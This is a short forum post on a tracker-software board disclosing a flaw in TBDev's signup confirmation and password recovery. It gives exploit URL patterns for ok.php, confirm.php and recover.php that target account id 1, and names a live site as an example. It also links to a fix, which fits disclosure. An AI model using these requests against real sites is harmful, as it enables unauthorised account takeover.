Bravo List
Register
Go Back   > Bravo List > Source Code > Archived Trackers > TBDev
Reply
  #1  
Old 26th December 2020, 12:42
Elena Elena is offline
Senior Member
 
Join Date: Sep 2010
P2P
Posts: 111
Wink A hole in the registration confirmation system
your website/ok.php?type=signup&email=suslik@gmail.com

your website/confirm.php?id=1&secret=ghjfykjymkuhkuky79mi9ym968 mfm

your website/recover.php?id=1&secret=fghfth67n686u6nu

or a live example:

https://bluebird-hd.org/ok.php?type=...slik@gmail.com

https://bluebird-hd.org/confirm.php?...y79mi9ym968mfm

https://bluebird-hd.org/recover.php?...hfth67n686u6nu



Want to remove the hole? Read here: https://tbdev-forum.top/viewtopic.php?f=53&t=358

Last edited by Elena; 26th December 2020 at 21:32.
Reply With Quote
Reply

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump



All times are GMT +2. The time now is 13:21. vBulletin skin by ForumMonkeys. Powered by vBulletin® Version 3.8.11 Beta 3
Copyright ©2000 - 2024, vBulletin Solutions Inc.